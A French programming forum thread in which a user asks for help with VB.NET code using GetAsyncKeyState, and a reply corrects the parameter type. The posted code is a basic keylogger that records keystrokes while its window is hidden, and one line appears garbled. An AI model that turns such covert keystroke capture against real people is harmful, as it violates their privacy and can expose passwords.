GetAsyncKeyState fait des siennes [Résolu]

tictac08 - 18 avril 2013 à 21:52 - Dernière réponse :  tictac08
- 27 avril 2013 à 23:38
Oui encore moi (amoureux du forum que voulez vous )

Voila mon problème aussitôt après l'éxecution :


Et mon code (en parti présenté sur l'image):
Option Strict On
Public Class Form1
    Dim second As Integer = 0
    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
    
    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
        tbLog.Text = "Started at: " & Now & vbNewLine
        timerKeys.Start()
    End Sub

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i 13 Then key vbNewLine
                Exit For
            End If
        Next i
        If key = Nothing Then
            Exit Sub
        End If
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            tbLog.Text &= key
        Else : tbLog.Text &= key.ToLower
        End If
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
            Me.Show()
        End If
        second = second + 1
        Me.Text = second.ToString
    End Sub
End Class
Afficher la suite 

Votre réponse

2 réponses

Meilleure réponse
ucfoutu 18039 Messages postés lundi 7 décembre 2009Date d'inscriptionContributeurStatut 11 avril 2018 Dernière intervention - 18 avril 2013 à 22:00
3
Merci
Bonjour,
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

m'étonnerait que ce Long passe en VB.Net !

Va lire ceci, puisque tu choisis de passer par une fonction de l'Api de Windows :
Tapez le texte de l'url ici.

________________________
Réponse exacte ? => "REPONSE ACCEPTEE" facilitera les recherches.
Pas d'aide en ligne installée ? => ne comptez pas sur moi pour simplement répéter son contenu. Je n'interviendrai que si nécessité de la compléter.

Merci ucfoutu 3

Avec quelques mots c'est encore mieux Ajouter un commentaire

Codes Sources a aidé 69 internautes ce mois-ci

Commenter la réponse de ucfoutu
0
Merci
Merci, c'est vrai, j'avais pas fait attention a ca . Berf voila ce que j'ai mis :

ByVal vkey As Int32
Commenter la réponse de tictac08

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.